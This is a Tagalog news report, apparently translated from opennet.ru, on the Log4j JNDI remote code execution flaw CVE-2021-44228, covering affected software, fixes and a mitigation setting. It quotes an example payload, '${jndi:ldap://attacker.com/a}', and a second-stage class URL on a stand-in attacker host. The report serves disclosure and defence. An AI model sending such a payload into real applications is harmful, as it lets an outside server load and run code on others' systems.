Sakuna na kahinaan sa Apache Log4j na nakakaapekto sa maraming proyekto ng Java

Sa Apache Log4j, isang tanyag na balangkas para sa pag-aayos ng pag-log in sa mga aplikasyon ng Java, natukoy ang isang kritikal na kahinaan na nagpapahintulot sa arbitrary na code na maisagawa kapag ang isang espesyal na na-format na halaga sa "{jndi:URL}" na format ay isinulat sa log. Ang pag-atake ay maaaring isagawa sa mga aplikasyon ng Java na nag-log ng mga halaga na natanggap mula sa mga panlabas na mapagkukunan, halimbawa, kapag nagpapakita ng mga problemang halaga sa mga mensahe ng error.

Napansin na halos lahat ng mga proyekto na gumagamit ng mga balangkas tulad ng Apache Struts, Apache Solr, Apache Druid o Apache Flink ay apektado ng problema, kabilang ang Steam, Apple iCloud, mga kliyente at server ng Minecraft. Inaasahan na ang kahinaan ay maaaring humantong sa isang alon ng napakalaking pag-atake sa mga aplikasyon ng kumpanya, na inuulit ang kasaysayan ng mga kritikal na kahinaan sa balangkas ng Apache Struts, na, ayon sa isang magaspang na pagtatantya, ay ginagamit sa mga web application ng 65% ​​ng Fortune 100 kumpanya kabilang ang mga pagtatangka na i-scan ang network para sa mga masusugatan na sistema.

Ang problema ay pinalala ng katotohanan na ang isang gumaganang pagsasamantala ay nai-publish na, ngunit ang mga pag-aayos para sa mga matatag na sangay ay hindi pa naipon. Ang CVE identifier ay hindi pa naitalaga. Ang pag-aayos ay kasama lamang sa log4j-2.15.0-rc1 test branch. Bilang solusyon sa pagharang sa kahinaan, inirerekomendang itakda sa true ang parameter na log4j2.formatMsgNoLookups.

Ang problema ay sanhi ng katotohanang sinusuportahan ng log4j ang pagpoproseso ng mga espesyal na mask na "{}" sa mga linyang output sa log, kung saan maaaring isagawa ang mga query sa JNDI (Java Naming at Directory Interface). Ang pag-atake ay bumababa sa pagpasa ng isang string na may kapalit na "${jndi:ldap://attacker.com/a}", sa pagproseso kung aling log4j ang magpapadala ng kahilingan sa LDAP para sa path sa Java class sa attacker.com server . Ang path na ibinalik ng server ng attacker (halimbawa, http://second-stage.attacker.com/Exploit.class) ay ilo-load at isasagawa sa konteksto ng kasalukuyang proseso, na nagpapahintulot sa attacker na magsagawa ng arbitrary code sa system na may mga karapatan ng kasalukuyang aplikasyon.

Addendum 1: Ang kahinaan ay itinalaga ang identifier na CVE-2021-44228.

Addendum 2: Natukoy ang isang paraan upang i-bypass ang proteksyong idinagdag ng release log4j-2.15.0-rc1. Ang isang bagong update, log4j-2.15.0-rc2, ay iminungkahi na may mas kumpletong proteksyon laban sa kahinaan. Itinatampok ng code ang pagbabagong nauugnay sa kawalan ng abnormal na pagwawakas sa kaso ng paggamit ng maling format na JNDI URL.

Pinagmulan: opennet.ru

Magdagdag ng komento